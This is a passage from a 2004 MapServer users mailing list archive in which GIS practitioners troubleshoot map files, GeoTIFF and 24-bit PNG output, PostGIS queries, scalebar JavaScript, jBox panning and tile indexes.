	?map=C:\Inetpub\wwwroot\demo.map
	&mode=map
	&layers=lakespy2,dlgstln2,roads
	
(I may have omitted something there, but the key thing is mode=map).

Regards,
-- 
Richard Greenwood
www.greenwoodmap.com



From bartvde at xs4all.nl  Tue Jan 27 07:37:23 2004
From: bartvde at xs4all.nl (bartvde at xs4all.nl)
Date: Tue, 27 Jan 2004 16:37:23 +0100 (CET)
Subject: [Mapserver-users] abnormal program termination (double PROJECTION)
Message-ID: <5778.212.238.227.182.1075217843.squirrel@webmail.xs4all.nl>

Hi list,

when your PROJECTION is defined twice in the MAP file, you get an abnormal
program termination.

This is the excerpt from the Apache error log:

Premature end of script headers: mapserv.exe
Assertion failed: p->proj == NULL, file mapfile.c, line 790
abnormal program termination

Should I file a Bugzilla entry for this?

Best regards,
Bart


From jnielsen at aero-graphics.com  Tue Jan 27 08:48:51 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Tue, 27 Jan 2004 09:48:51 -0700
Subject: [Mapserver-users] scalebar params.
In-Reply-To: 
References: 
Message-ID: <1075222131.40169673793e0@www.agi-lan.com>

Quoting Steve Lime :

> In the dbox example I used the values for mapext to facilitate caching
> of scalebars. The logic is that that when panning why bother generating
> a new scalebar, one is valid wherever you move. So the javascript you
> mention below does just that. It looks at the overall dimension of the
> map relative to 0,0, and when panning the second two numbers don't
> change. Computationally it's the same as sending the raw extent. Granted
> generating a scalebar is trivial compared to a map, but every little bit
> helps I guess. 
> 
> The technique works fine for me here. Are you getting javascript
> errors? What version of MapServer? 
> 
> Steve
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER
SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL
INPUT=SHAPEFILE

No errors in the javascript console. Its been many years since I did any serious
js coding but as far as I can tell there is nothing wrong with the code itself.

Im using Mozilla 1.6a for my main browser. I tried clearing the cache to see if
it was related to that with no success either. Went so far as to manually remove
the cache files.

One thing to note is that in the demo even using my current data the scalebar
displays properly and updates accordingly.

Is there by chance a way that I can tell it in this js code to dump this file
right to my tmp dir that mapserver normally uses?

Jason.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From hunt at zedxinc.com  Tue Jan 27 08:50:21 2004
From: hunt at zedxinc.com (Aaron D. Hunt)
Date: Tue, 27 Jan 2004 11:50:21 -0500
Subject: [Mapserver-users] geotiff output problem
Message-ID: <003e01c3e4f5$a6f154a0$b105000a@quasar>

This is a multi-part message in MIME format.

------=_NextPart_000_003B_01C3E4CB.BE0839D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am trying to get mapserver to output geotiffs. When I do so the tiff =
is made fine but the geo in-coding is blank (see listgeo out put below). =
I have mapserver 4.0.1 with gdal-cvs-031112, tiff-v3.6.0 and =
libgeotiff-1.2.1 on redhat 9.0 (configure call below). The perl script =
and Map file I am using is also bellow. Does anyone have any ideas.

Thank You
Aaron Hunt




Geotiff_Information:
   Version: 1
   Key_Revision: 1.0
   Tagged_Information:
      End_Of_Tags.
   Keyed_Information:
      End_Of_Keys.
   End_Of_Geotiff.


Corner Coordinates:
 ... unable to transform points between pixel/line and PCS space


Mapserver 4.0.1=20
./configure=20
--without-tiff   =20
--without-libtiff
--without-eppl   =20
--with-jpeg =20
--with-proj=3D/home/mapserver/=20
--with-gdal=3D/home/mapserver/bin/gdal-config=20
--with-ogr=3D/home/mapserver/bin/gdal-config =20
--with-wmsclient=20
--with-freetype=3D/home/mapserver/=20
--with-gd=3D/home/mapserver/=20
--with-php=3D/usr/local/src/php-4.3.4/=20
--with-curl-config=3D/home/mapserver/bin/curl-config=20
--with-ming=20
--with-postgis=3D/usr/local/pgsql/bin/pg_config

gdal
 ./configure  --with-libtiff=3D/home/mapserver =20
--with-geotiff=3D/home/mapserver =20
 --with-libz=20
 --with-png =20
 --with-jpeg =20
--without-jasper =20
--without-python --prefix=3D/home/mapserver/


Perl
#!/usr/bin/perl

use lib("/home/mapserver");
use mapscript40;

$ENV{MS_ERRORFILE} =3D "mapserver.log";=20
$ENV{PROJ_LIB} =3D "/home/mapserver/proj-4.4.7/nad/";=20

my $map =3D new mapscript40::mapObj("geotif.map") or die("Unable to open =
mapfile. $!");

$img =3D $map->draw() or die('Unable to draw map');

$imagename =3D "test.tiff";

$img->save($imagename);

Map file

#
# Start of map file
#
NAME Demo
STATUS ON
SIZE 500 500

EXTENT 720138 3723926 721518 3724986=20


SHAPEPATH "/tmp"
IMAGECOLOR 255 255 255

 WEB
   IMAGEPATH "/home/hunt/"
   IMAGEURL ""
 END

 PROJECTION
  "init=3Depsg:26915"
 END

 OUTPUTFORMAT
   NAME GTiff
   DRIVER "GDAL/GTiff"
  MIMETYPE "image/tiff"
  IMAGEMODE RGB
   EXTENSION "tif"
 END



 LAYER
    NAME ortho-15
    METADATA
      "wms_title" "USGS Digital Ortho-Quadrangles"
      "wms_srs"   "EPSG:26915" #NAD83 UTM zone 15N
      #"wms_latlonboundingbox" "-78 0 -72 90"
      LYRNAME "DOQs (orthophotos)"
      LINK =
"http://terraserver.microsoft.com/about.aspx?n=3DAboutTerraServiceOvervie=
w"
    END
    #MAXSCALE 700000
    #MINSCALE 5401
    OFFSITE 255 255 255
    GROUP "ORTHO DATA"
    STATUS ON
    TYPE RASTER
    CONNECTIONTYPE WMS
    CONNECTION =
"http://terraservice.net/ogcmap.ashx?VERSION=3D1.1.1&SERVICE=3Dwms&LAYERS=
=3DDOQ&FORMAT=3Dimage/jpeg&styles=3D"
    PROJECTION
      "init=3Depsg:26915" #NAD83 UTM zone 15N
    END
 END

END

------=_NextPart_000_003B_01C3E4CB.BE0839D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









I am trying to get mapserver to output =
geotiffs.=20
When I do so the tiff is made fine but the geo in-coding is blank (see =
listgeo=20
out put below). I have mapserver 4.0.1 with gdal-cvs-031112, tiff-v3.6.0 =
and=20
libgeotiff-1.2.1 on redhat 9.0 (configure call below). The perl script =
and Map=20
file I am using is also bellow. Does anyone have any ideas.


 


Thank You


Aaron Hunt


 


 


 



Geotiff_Information:
   Version: 1
   =

Key_Revision: 1.0
  =20
Tagged_Information:
     =20
End_Of_Tags.
  =20
Keyed_Information:
     =20
End_Of_Keys.
   End_Of_Geotiff.


 



Corner Coordinates:
 ... unable to transform points =
between=20
pixel/line and PCS space


 


 


Mapserver 4.0.1 
./configure =

--without-tiff   =20

--without-libtiff
--without-eppl    =

--with-jpeg =20

--with-proj=3D/home/mapserver/ =

--with-gdal=3D/home/mapserver/bin/gdal-config=20

--with-ogr=3D/home/mapserver/bin/gdal-config  =

--with-wmsclient=20

--with-freetype=3D/home/mapserver/ 
--with-gd=3D/home/mapserver/=20

--with-php=3D/usr/local/src/php-4.3.4/=20

--with-curl-config=3D/home/mapserver/bin/curl-config 
--with-ming =


--with-postgis=3D/usr/local/pgsql/bin/pg_config


 


gdal


 ./configure  --with-libtiff=3D/home/mapserver  =



--with-geotiff=3D/home/mapserver  


 --with-libz 


 --with-png  


 --with-jpeg  


--without-jasper  


--without-python --prefix=3D/home/mapserver/


 


 


Perl


#!/usr/bin/perl


 


use lib("/home/mapserver");
use mapscript40;


 


$ENV{MS_ERRORFILE} =3D "mapserver.log"; 
$ENV{PROJ_LIB} =3D=20
"/home/mapserver/proj-4.4.7/nad/"; 


 


my $map =3D new mapscript40::mapObj("geotif.map") or die("Unable to =
open=20
mapfile. $!");


 


$img =3D $map->draw() or die('Unable to draw map');


 


$imagename =3D "test.tiff";


 


$img->save($imagename);


 


Map file


 


#
# Start of map file
#
NAME Demo
STATUS ON
SIZE 500 =

500


 


EXTENT 720138 3723926 721518 3724986 


 



SHAPEPATH "/tmp"
IMAGECOLOR 255 255 255


 


 WEB
   IMAGEPATH "/home/hunt/"
   =
IMAGEURL=20
""
 END


 


 PROJECTION
  "init=3Depsg:26915"
 END

 


 OUTPUTFORMAT
   NAME GTiff
   =
DRIVER=20
"GDAL/GTiff"
  MIMETYPE "image/tiff"
  IMAGEMODE=20
RGB
   EXTENSION "tif"
 END


 


 


 


 LAYER
    NAME =
ortho-15
   =20
METADATA
      "wms_title" "USGS Digital=20
Ortho-Quadrangles"
      =
"wms_srs"  =20
"EPSG:26915" #NAD83 UTM zone 15N
     =20
#"wms_latlonboundingbox" "-78 0 -72 =
90"
     =20
LYRNAME "DOQs (orthophotos)"
      LINK "http://terraserver.microsoft.com/about.aspx?n=3DAboutTerraServi=
ceOverview"
   =20
END
    #MAXSCALE 700000
    =
#MINSCALE=20
5401
    OFFSITE 255 255 255
    =
GROUP=20
"ORTHO DATA"
    STATUS ON
    TYPE=20
RASTER
    CONNECTIONTYPE WMS
    =
CONNECTION=20
"http://terraserv=
ice.net/ogcmap.ashx?VERSION=3D1.1.1&SERVICE=3Dwms&LAYERS=3DDOQ&am=
p;FORMAT=3Dimage/jpeg&styles=3D"
   =20
PROJECTION
      "init=3Depsg:26915" #NAD83 =
UTM zone=20
15N
    END
 END


 


END


------=_NextPart_000_003B_01C3E4CB.BE0839D0--



From paul.hasenohr at jrc.it  Tue Jan 27 09:42:34 2004
From: paul.hasenohr at jrc.it (Paul Hasenohr)
Date: Tue, 27 Jan 2004 18:42:34 +0100
Subject: [Mapserver-users] error when querying some postgis layers - broken pipe
Message-ID: <000201c3e4fc$f2843cf0$798ebf8b@mars.ipsc.jrc.it>

Hello,

I am running mapserver under windows xp and postgresql 7.2.3 + postgis
0.7.(4 or 5) under redhat 7.2.
I want to access several tables (lines and polygons) from the same database.
For most of the tables, I have not any problem, it just works fine
regardless the number of lines or polygons I want to display (according to
the scale of my map).
But for a few tables, I can only display the vectors when they are requested
on a very small area.

I had a look at the postgresql serverlog and here is the error message
together with the query sent by mapserver (+gmapfactory):
DEBUG:  ProcessUtility: BEGIN
DEBUG:  query: DECLARE mycursor BINARY CURSOR FOR SELECT
asbinary(force_collection(force_2d(geom)),'NDR'),id::text from (select *
from polbnda_area) as foo WHERE geom && setSRID('BOX3D(-7.95660138889
41.8340833333,3.93160138889 50.7491666667)'::BOX3D,
find_srid('','polbnda_area','geom') )
DEBUG:  query: select SRID from geometry_columns where f_table_schema like
$1 || '%' and f_table_name = $2 and f_geometry_column = $3
DEBUG:  query: FETCH ALL in mycursor
DEBUG:  ProcessUtility: FETCH ALL in mycursor
DEBUG:  pq_flush: send() failed: Broken pipe

When I execute the SELECT statement directly on the psql console, it works
fine.

I thought that it could be due to a too high number of vectors selected (300
for the table that doesn't work) but it works fine when I select (via
Mapserver) 30000 records in an other table of the same database to display
them.

All tables have a GIST index built as well as an oid index.

Have you any suggestion ?

Thanks in advance,

Best regards,
Paul Hasenohr




From jnielsen at aero-graphics.com  Tue Jan 27 10:19:44 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Tue, 27 Jan 2004 11:19:44 -0700
Subject: [Mapserver-users] geotiff output problem
In-Reply-To: <003e01c3e4f5$a6f154a0$b105000a@quasar>
References: <003e01c3e4f5$a6f154a0$b105000a@quasar>
Message-ID: <1075227584.4016abc09b1d6@www.agi-lan.com>

Quoting "Aaron D. Hunt" :

> I am trying to get mapserver to output geotiffs. When I do so the tiff is
> made fine but the geo in-coding is blank (see listgeo out put below). I have
> mapserver 4.0.1 with gdal-cvs-031112, tiff-v3.6.0 and libgeotiff-1.2.1 on
> redhat 9.0 (configure call below). The perl script and Map file I am using is
> also bellow. Does anyone have any ideas.
> 
> Thank You
> Aaron Hunt

Just taking a stab at it...  Have you tried using gdal on the command line to
see if it creates geo tiffs properly? Think its "gdalwarp -te". Also does
"gdalinfo" list the proper information within the geo tiff?

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From warmerdam at pobox.com  Tue Jan 27 10:30:49 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Tue, 27 Jan 2004 13:30:49 -0500
Subject: [Mapserver-users] geotiff output problem
In-Reply-To: <003e01c3e4f5$a6f154a0$b105000a@quasar>
References: <003e01c3e4f5$a6f154a0$b105000a@quasar>
Message-ID: <4016AE59.8010309@pobox.com>

Aaron D. Hunt wrote:
> I am trying to get mapserver to output geotiffs. When I do so the tiff 
> is made fine but the geo in-coding is blank (see listgeo out put below). 
> I have mapserver 4.0.1 with gdal-cvs-031112, tiff-v3.6.0 and 
> libgeotiff-1.2.1 on redhat 9.0 (configure call below). The perl script 
> and Map file I am using is also bellow. Does anyone have any ideas.

Aaron,

What you did seems fine.  It is possible that the "init=epsg:26915" isn't
being expanded properly though even then the coordinates should have been
written.  I tried running shp2img on the following map file and produced a
GeoTIFF file with coordinates and a coordinate system.

MAP
NAME  "w2qpgi5qsg4k"
DEBUG on
SIZE  400 400
EXTENT  -6500000 -6500000 6500000 6500000

OUTPUTFORMAT
   NAME GT
   DRIVER "GDAL/GTiff"
   IMAGEMODE RGB
END

LAYER
NAME  "world"
TYPE  Raster
STATUS  default
DATA "/home/warmerda/public_html/world.tif"
PROCESSING "DITHER=YES"

PROJECTION
"proj=latlong"
END
END


#PROJECTION
#"proj=ortho"
#"lat_0=0.0"
#"lon_0=0.0"
#"x_0=0.0"
#"y_0=0.0"
#END
PROJECTION
   "init=epsg:26915"
END

END
warmerda at gdal2200[242]% gdalinfo out.tif
GDAL: GDALOpen(out.tif) succeeds as GTiff.

Driver: GTiff/GeoTIFF
Size is 400, 400
Coordinate System is:
PROJCS["NAD83 / UTM zone 15N",
     GEOGCS["NAD83",
         DATUM["North_American_Datum_1983",
             SPHEROID["GRS 1980",6378137,298.2572221010042,
                 AUTHORITY["EPSG","7019"]],
             AUTHORITY["EPSG","6269"]],
         PRIMEM["Greenwich",0],
         UNIT["degree",0.0174532925199433],
         AUTHORITY["EPSG","4269"]],
     PROJECTION["Transverse_Mercator"],
     PARAMETER["latitude_of_origin",0],
     PARAMETER["central_meridian",-93],
     PARAMETER["scale_factor",0.9996],
     PARAMETER["false_easting",500000],
     PARAMETER["false_northing",0],
     UNIT["metre",1,
         AUTHORITY["EPSG","9001"]],
     AUTHORITY["EPSG","26915"]]
Origin = (-6500000.000000,6500000.000000)
Pixel Size = (32500.00000000,-32500.00000000)
Corner Coordinates:
Upper Left  (-6500000.000, 6500000.000) ( 95d47'40.98"W,280d 4'9.61"N)
Lower Left  (-6500000.000,-6500000.000) ( 95d47'40.98"W,280d 4'9.61"S)
Upper Right ( 6500000.000, 6500000.000) ( 86d 6'45.06"E,101d28'3.37"N)
Lower Right ( 6500000.000,-6500000.000) ( 86d 6'45.06"E,101d28'3.37"S)
Center      (   0.0000000,   0.0000000) ( 97d29'19.48"W,  0d 0'0.01"N)
Band 1 Block=400x20 Type=Byte, ColorInterp=Red
Band 2 Block=400x20 Type=Byte, ColorInterp=Green
Band 3 Block=400x20 Type=Byte, ColorInterp=Blue
GDAL: GDALClose(out.tif)

GDAL: GDALDeregister_GTiff() called.

I really don't know what is going wrong at your end.   You could try
updating to more recent Mapserver versions, but I don't really see that
this should be needed.  Could you try running shp2img on your .map and
verify that this also exibits the same problem?

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From ARyan at co.linn.or.us  Tue Jan 27 10:42:51 2004
From: ARyan at co.linn.or.us (Ryan, Adam)
Date: Tue, 27 Jan 2004 10:42:51 -0800
Subject: [Mapserver-users] panning with jbox
Message-ID: <614FCE5F14A6D41180C200010240D6A22394B3@LINNMS>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3E505.5E3366D0
Content-Type: text/plain

 
Hi.
 
In the jBox.java file there is a note: "October 2003: added drag
functionality for panning", but the documentation at
http://mapserver.gis.umn.edu/doc40/jbox-howto.html
  doesn't discuss image
panning.  Can anyone demonstrate how this is done?
 
Can the applet parameters be manipulated on-the-fly?  For example, if a pan
tool were selected, I would call document.jBox.lineon() to return the line
coordinates, but I don't want the line visible so I'd want the width=0 or
the color=transparent.
 
Alternatively, if box and line drawing were off, is there a way to capture
the initial mousedown location which could be compared to the current
location before the setbox_handler function was called.
 
Thanks for any suggestions,
 
Adam Ryan
GIS Analyst
Linn County GIS Department
County Courthouse / Room 25
300 SW Fourth Ave.
Albany, OR 97321
541.812.8760
aryan at co.linn.or.us
 

------_=_NextPart_001_01C3E505.5E3366D0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable























 



Hi.



 



In the jBox.java file there is a note: "October =
2003:
added drag functionality for panning", but the documentation at http://mapse=
rver.gis.umn.edu/doc40/jbox-howto.html
doesn't discuss image panning. 
Can anyone demonstrate how this is =
done?



 



Can the applet parameters be manipulated =
on-the-fly?  For example, if a pan tool =
were
selected, I would call document.jBox.lineon() to return the line =
coordinates,
but I don't want the line visible so I'd want the width=3D0 or the
color=3Dtransparent.



 



Alternatively, if box and line drawing were off, is =
there a
way to capture the initial mousedown location which could be compared =
to the
current location before the setbox_handler function was =
called.



 



Thanks for any =
suggestions,



 



Adam =
Ryan



GIS=
 Analyst



Linn County =
GIS =
Department



County Courthouse / Room =
25



300 SW Fourth =
Ave.



Albany, OR =
97321



541.812.8760



aryan at co.linn.or.us



 









------_=_NextPart_001_01C3E505.5E3366D0--


From bartvde at xs4all.nl  Tue Jan 27 10:52:29 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Tue, 27 Jan 2004 19:52:29 +0100
Subject: [Mapserver-users] HOWTO:  24 bit png on WMS interface
Message-ID: 

Hi list,

thanks to Frank Warmerdam I have solved my problem with not getting 24 bit 
PNG output in Mapserver.

In my MAP file I used the following:

IMAGETYPE PNG24

and then in my WMS request I used format=image/png

This caused 8-bit PNG to be generated instead of 24-bit PNG.

The solution Frank suggested is using the following OUTPUTFORMAT in my MAP 
file and this works:

OUTPUTFORMAT
   NAME PNG24
   DRIVER "GD/PNG"
   MIMETYPE "image/png"
   EXTENSION PNG
   IMAGEMODE RGBA
   TRANSPARENT ON
END

Maybe something for the Mapserver WMS HOWTO?

Best regards,
Bart


From nhv at cape.com  Tue Jan 27 12:10:09 2004
From: nhv at cape.com (Norman Vine)
Date: Tue, 27 Jan 2004 15:10:09 -0500
Subject: [Mapserver-users] HOWTO:  24 bit png on WMS interface
In-Reply-To: 
Message-ID: 

Bart van den Eijnden writes:
> 
> thanks to Frank Warmerdam I have solved my problem with not getting 24 bit 
> PNG output in Mapserver.
> 
> In my MAP file I used the following:
> 
> IMAGETYPE PNG24
> 
> and then in my WMS request I used format=image/png
> 
> This caused 8-bit PNG to be generated instead of 24-bit PNG.
> 
> The solution Frank suggested is using the following OUTPUTFORMAT in my MAP 
> file and this works:
> 
> OUTPUTFORMAT
>    NAME PNG24
>    DRIVER "GD/PNG"
>    MIMETYPE "image/png"
>    EXTENSION PNG
>    IMAGEMODE RGBA
>    TRANSPARENT ON
> END
> 
> Maybe something for the Mapserver WMS HOWTO?

see
http://mapserver.gis.umn.edu/doc/mapfile-reference.html#outputformat

HTH

Norman
 


From rich at greenwoodmap.com  Tue Jan 27 12:15:14 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Tue, 27 Jan 2004 13:15:14 -0700
Subject: [Mapserver-users] panning with jbox
In-Reply-To: <614FCE5F14A6D41180C200010240D6A22394B3@LINNMS>
References: <614FCE5F14A6D41180C200010240D6A22394B3@LINNMS>
Message-ID: <4016C6D2.6040300@greenwoodmap.com>

Ryan, Adam wrote:
>  
> 
> Hi.
> 
>  
> 
> In the jBox.java file there is a note: "October 2003: added drag 
> functionality for panning", but the documentation at 
> http://mapserver.gis.umn.edu/doc40/jbox-howto.html doesn't discuss image 
> panning.  Can anyone demonstrate how this is done?


Looks like I have some updating to do in the HOWTO, thanks for reminding me.

It's pretty simple. You turn panning on with "dragon()" For example:
    document.jBox.dragon();
This turns box drawing or line drawing off (if either were currently on) 
When the user drags the mouse within the applet map area, the image is 
dragged (panned) and appropriate coordinates are provided to a mapserver 
submit.

-- 
Richard Greenwood
www.greenwoodmap.com


From lfilak at medinaco.org  Tue Jan 27 12:29:45 2004
From: lfilak at medinaco.org (Lowell Filak)
Date: Tue, 27 Jan 2004 15:29:45 -0500
Subject: [Mapserver-users] OT: ArcView Line Theme
Message-ID: <20040127202939.E13EA1A659D@mail.medinaco.org>

Because MapScript can create shapefiles and ArcView can read them you
could create something like:
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex8
It may be an ugly example because of all the code required to read from
the Palm DB file but the MapScript code is pretty straight forward (I
think).

HTH

Lowell

The following message was sent by "Kieran J. Ames"
 on Mon, 26 Jan 2004 16:38:27 -0500.

> List,
> Sorry for the Off-Topic, but...
> I know how to import an event theme (points) into ArcView from text or
> dbf.
> I want to create a line theme (have 2 sets of points... the nodes).
> Can anyone point me to some documentation on how I'd get this
> information into ArcView?
>
> Thanks in advance.
> Kieran
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From warmerdam at pobox.com  Tue Jan 27 12:33:28 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Tue, 27 Jan 2004 15:33:28 -0500
Subject: [Mapserver-users] HOWTO:  24 bit png on WMS interface
In-Reply-To: 
References: 
Message-ID: <4016CB18.5040908@pobox.com>

Norman Vine wrote:
> Bart van den Eijnden writes:
> 
>>thanks to Frank Warmerdam I have solved my problem with not getting 24 bit 
>>PNG output in Mapserver.
>>
>>In my MAP file I used the following:
>>
>>IMAGETYPE PNG24
>>
>>and then in my WMS request I used format=image/png
>>
>>This caused 8-bit PNG to be generated instead of 24-bit PNG.
>>
>>The solution Frank suggested is using the following OUTPUTFORMAT in my MAP 
>>file and this works:
>>
>>OUTPUTFORMAT
>>   NAME PNG24
>>   DRIVER "GD/PNG"
>>   MIMETYPE "image/png"
>>   EXTENSION PNG
>>   IMAGEMODE RGBA
>>   TRANSPARENT ON
>>END
>>
>>Maybe something for the Mapserver WMS HOWTO?
> 
> 
> see
> http://mapserver.gis.umn.edu/doc/mapfile-reference.html#outputformat

Norman,

The subtle bit here is that Bart was already selecting the format he wanted
in the .map file with an IMAGETYPE PNG24 line.  The problem was that this gets
overridden by the FORMAT=image/png item in the WMS request.  This causes the
whole list of built-in output formats to be scanned, and the first select
which happens to be the 8bit png.

The added value in explicitly declaring the OUTPUTFORMAT PNG24 in the .map
file is that this causes it to be ahead of all the default output format
declarations in the internal list, and so it gets selected in preference
to the 8bit PNG format declaration.

So things to remember are:

  o The WMS FORMAT= overrides the IMAGETYPE you specify in your .map file.
  o Requested formats are selected based on a first match is used criteria.
  o The .map file can be effectively used to control the order of output
    formats.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From hunt at zedxinc.com  Tue Jan 27 12:38:35 2004
From: hunt at zedxinc.com (Aaron D. Hunt)
Date: Tue, 27 Jan 2004 15:38:35 -0500
Subject: [Mapserver-users] geotiff output problem
References: <003e01c3e4f5$a6f154a0$b105000a@quasar> <4016AE59.8010309@pobox.com>
Message-ID: <252a01c3e515$896d2010$b105000a@quasar>

I worked when I used shp2img. Is there any reason it is not working in the
script?


----- Original Message ----- 
From: "Frank Warmerdam" 
To: "Aaron D. Hunt" 
Cc: 
Sent: Tuesday, January 27, 2004 1:30 PM
Subject: Re: [Mapserver-users] geotiff output problem


> Aaron D. Hunt wrote:
> > I am trying to get mapserver to output geotiffs. When I do so the tiff
> > is made fine but the geo in-coding is blank (see listgeo out put below).
> > I have mapserver 4.0.1 with gdal-cvs-031112, tiff-v3.6.0 and
> > libgeotiff-1.2.1 on redhat 9.0 (configure call below). The perl script
> > and Map file I am using is also bellow. Does anyone have any ideas.
>
> Aaron,
>
> What you did seems fine.  It is possible that the "init=epsg:26915" isn't
> being expanded properly though even then the coordinates should have been
> written.  I tried running shp2img on the following map file and produced a
> GeoTIFF file with coordinates and a coordinate system.
>
> MAP
> NAME  "w2qpgi5qsg4k"
> DEBUG on
> SIZE  400 400
> EXTENT  -6500000 -6500000 6500000 6500000
>
> OUTPUTFORMAT
>    NAME GT
>    DRIVER "GDAL/GTiff"
>    IMAGEMODE RGB
> END
>
> LAYER
> NAME  "world"
> TYPE  Raster
> STATUS  default
> DATA "/home/warmerda/public_html/world.tif"
> PROCESSING "DITHER=YES"
>
> PROJECTION
> "proj=latlong"
> END
> END
>
>
> #PROJECTION
> #"proj=ortho"
> #"lat_0=0.0"
> #"lon_0=0.0"
> #"x_0=0.0"
> #"y_0=0.0"
> #END
> PROJECTION
>    "init=epsg:26915"
> END
>
> END
> warmerda at gdal2200[242]% gdalinfo out.tif
> GDAL: GDALOpen(out.tif) succeeds as GTiff.
>
> Driver: GTiff/GeoTIFF
> Size is 400, 400
> Coordinate System is:
> PROJCS["NAD83 / UTM zone 15N",
>      GEOGCS["NAD83",
>          DATUM["North_American_Datum_1983",
>              SPHEROID["GRS 1980",6378137,298.2572221010042,
>                  AUTHORITY["EPSG","7019"]],
>              AUTHORITY["EPSG","6269"]],
>          PRIMEM["Greenwich",0],
>          UNIT["degree",0.0174532925199433],
>          AUTHORITY["EPSG","4269"]],
>      PROJECTION["Transverse_Mercator"],
>      PARAMETER["latitude_of_origin",0],
>      PARAMETER["central_meridian",-93],
>      PARAMETER["scale_factor",0.9996],
>      PARAMETER["false_easting",500000],
>      PARAMETER["false_northing",0],
>      UNIT["metre",1,
>          AUTHORITY["EPSG","9001"]],
>      AUTHORITY["EPSG","26915"]]
> Origin = (-6500000.000000,6500000.000000)
> Pixel Size = (32500.00000000,-32500.00000000)
> Corner Coordinates:
> Upper Left  (-6500000.000, 6500000.000) ( 95d47'40.98"W,280d 4'9.61"N)
> Lower Left  (-6500000.000,-6500000.000) ( 95d47'40.98"W,280d 4'9.61"S)
> Upper Right ( 6500000.000, 6500000.000) ( 86d 6'45.06"E,101d28'3.37"N)
> Lower Right ( 6500000.000,-6500000.000) ( 86d 6'45.06"E,101d28'3.37"S)
> Center      (   0.0000000,   0.0000000) ( 97d29'19.48"W,  0d 0'0.01"N)
> Band 1 Block=400x20 Type=Byte, ColorInterp=Red
> Band 2 Block=400x20 Type=Byte, ColorInterp=Green
> Band 3 Block=400x20 Type=Byte, ColorInterp=Blue
> GDAL: GDALClose(out.tif)
>
> GDAL: GDALDeregister_GTiff() called.
>
> I really don't know what is going wrong at your end.   You could try
> updating to more recent Mapserver versions, but I don't really see that
> this should be needed.  Could you try running shp2img on your .map and
> verify that this also exibits the same problem?
>
> Best regards,
>
> -- 
> ---------------------------------------+----------------------------------
----
> I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
> light and sound - activate the windows | http://pobox.com/~warmerdam
> and watch the world go round - Rush    | Geospatial Programmer for Rent
>



From jnielsen at aero-graphics.com  Tue Jan 27 13:09:15 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Tue, 27 Jan 2004 14:09:15 -0700
Subject: [Mapserver-users] scalebar params.
In-Reply-To: 
References: 
Message-ID: <1075237755.4016d37b9f469@www.agi-lan.com>

Quoting Steve Lime :

> Is your site publicly available? One other to try would be to simply
> change the javascript that creates the scalebar URL, using the real
> extent values instead of the computed extent. That will likely solve any
> caching issues.
> 
> Steve
Unfortunately the site is not accessible via the internet yet. The ultimate plan
is to go that route but I do not have a place on the DMZ or a hosted machine etc.

    document.scalebar_miles.src = MapServer + "?map=" + ms.mapfile +
"&mode=scalebar&mapext="+ ms.extent[0] + "+" + ms.extent[1] + "+" + ms.extent[2]
+ "+" + ms.extent[3] + "&mapsize=" + ms.width + "+" + ms.height;

That seems to make the scalebar redraw each time. Think my scale is off but that
might be due to a unit issue I have. Ill check into it further and see what I
can find. They have me off doing half a dozen unrelated things here so I
apologize for the slow responses.

I appreciate the help and Ill get back with any further developements I discover.

-Jason.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From Richard.Pierce at mail.state.ar.us  Tue Jan 27 13:22:28 2004
From: Richard.Pierce at mail.state.ar.us (Richie Pierce)
Date: Tue, 27 Jan 2004 15:22:28 -0600
Subject: [Mapserver-users] Tileindex
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E51B.AA7EE500
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

            I am trying to add a tile index and am having some trouble.
The error looks like this

=20

msDrawRaster(): Image handling error. Unrecognized or unsupported image
format=20
drawEPP(): Image handling error.
c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_se.tif is not an
EPPL file.

=20

I'm using the Mapserver 4.0 binary with GDAL, I've searched the archives
but none of the fixes that I found have worked for me. Any help would be
greatly appreciated.  Thanks

=20

My layer:

=20

LAYER

  NAME "orthos"

  STATUS OFF

  TILEINDEX "C:\Inetpub\wwwroot\Test_site\data\index\cross_co_index.shp"

  TILEITEM "IMAGE"

  TYPE RASTER

END

=20

=20

Richie Pierce

GIS Cadastral Specialist

Arkansas Geographic Information Office

124 W. Capitol St.

Little Rock, AR 72201

(w) 501-682-2937

(c) 501-416-CAMP

www.gis.state.ar.us

=20


------_=_NextPart_001_01C3E51B.AA7EE500
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

















         =
   I
am trying to add a tile index and am having some trouble.  The =
